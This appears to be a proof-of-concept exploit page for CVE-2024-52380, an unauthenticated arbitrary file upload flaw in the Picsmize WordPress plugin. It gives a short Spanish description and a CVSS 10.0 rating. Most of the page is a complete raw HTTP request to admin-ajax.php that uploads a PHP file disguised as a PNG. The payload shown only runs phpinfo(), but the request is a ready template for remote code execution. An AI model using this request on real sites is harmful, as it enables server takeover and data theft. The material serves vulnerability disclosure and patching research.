randomrobbiebf/cve-2024-52380Picsmize <= 1.0.0 - Subida de archivos arbitraria no autenticada
Picsmize <= 1.0.0 - Carga arbitraria de archivos sin autenticación
El plugin Picsmize para WordPress es vulnerable a cargas de archivos arbitrarias debido a la falta de validación del tipo de archivo en todas las versiones hasta la 1.0.0 inclusive. Esto hace posible que atacantes no autenticados suban archivos arbitrarios al servidor del sitio afectado, lo que puede permitir la ejecución remota de código.
Score: 10.0
Vendors: Softpulse Infotech
Products: Picsmize
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Interaction: none
Privileges: none
Attack Vector: network
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=pics-manual
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------263629263440545280502417734995
Content-Length: 371
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
-----------------------------263629263440545280502417734995
Content-Disposition: form-data; name="images[]"; filename="t.php"
Content-Type: image/png
<?php phpinfo(); ?>
-----------------------------263629263440545280502417734995
Content-Disposition: form-data; name="action"
PicsUploadManualFile
-----------------------------263629263440545280502417734995--